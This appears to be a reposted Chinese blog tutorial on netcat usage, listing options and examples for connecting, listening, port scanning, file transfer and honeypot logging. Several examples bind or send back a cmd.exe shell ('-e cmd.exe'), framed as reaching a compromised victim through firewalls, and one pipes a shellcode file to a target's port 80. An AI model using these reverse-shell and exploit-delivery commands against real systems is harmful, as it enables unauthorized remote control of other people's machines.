-h 帮助信息 -l 监听模式,用于入站连接 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 任意指定本地及远程端口 -s addr 本地源地址 -u UDP模式 -v 详细输出——用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉——用于扫描时 一.客户端--提交数据 这是最简单的使用方式,nc <hostname> <portnumber> D:\Hacktools>nc -vv www.hacker.com.cn 80 Warning: inverse host lookup failed for 211.157.102.232: h_errno 11004: NO_DATA www.hacker.com.cn [211.157.102.232] 80 (http) open get / http/1.1 HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Sat, 19 Mar 2005 18:57:40 GMT Content-Type: text/html Content-Length: 87 <html><head><title>Error</title></head><body>The parameter is incorrect. </body> </html> 二.简单服务器 nc -l -p <portnumber> //这里-l参数表明nc处于监听模式,-p指定端口号. nc -l -p 1234[假设这台主机ip为127.0.0.1 然后从客户端输入,nc 127.0.0.1 1234 然后你从任一端输入的数据就会显示在另一端了. 三.telnet服务器 nc有一个-e的选项,用来指定在连接后执行的程序. 在windows平台上可以指定-e cmd.exe[winxp,win2000,]如果是98就指定command.exe.linux 则指定-e bash 指定-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的 结果显示到另一端. server(远程机器): nc -l -p 1234 -e cmd.exe client(本地机器): nc 192.168.0.1 1234 就可以远程登陆server了 四.反向连接: 什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说 不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你 这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。 server:nc -e cmd.exe 127.0.0.1 1234 client: nc -l -p 1234 五.文件传输: 功能强大的网络工具,只要你发挥想象力,你可以做任何事情! P2P之间经常用OICQ、MSN传文件,是挺方便,但哪象是高手的做法? 发送方: nc -nvv -l -w 5 -p 1234 -s 127.0.0.1 < file.zip 接受方: nc -nvv 127.0.0.1 1234 > file.zip 接受方没有装nc?那就用IE罗: http://127.0.0.1:1234/t.zip 六.扫描端口 nc -z -w 2 -v -v www.somewhere.com port[,port[,port-port]] -z 指定zero-I/O 模式,它让netcat禁止任何来自源系统的I/O,如果不指定它,netcat会无限 期的挂起端口.所以在网络扫描时要指定-z选项. -w 指定超时时间,单位为秒 -v 详细模式 例: nc -z -w 2 -v -v www.somewhere.com 20-30,80,100-112,443 ![]() |
nc.exe -h即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] ... nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出--用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉--用于扫描时 端口的表示方法可写为M-N的范围格式。 ================================================================ 基本用法: 大概有以下几种用法: 1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。 ============================================================== 高级用法: 6)作***程序用,例子: 格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt 讲解:连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果, 真是有异曲同工之妙:P) 附:c:exploit.txt为shellcode等 7)作蜜罐用[1],例子: 格式:nc -L -p 80 讲解:使用-L(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止 8)作蜜罐用[2],例子: 格式:nc -L -p 80 > c:log.txt 讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,如果把‘>’ 改为‘>>’即可以追加日志 附:c:log.txt为日志 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其 管道中’即可以追加日志 附:c:log.txt为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其 管道中 |
转载于:https://blog.51cto.com/pnig0s1992/338194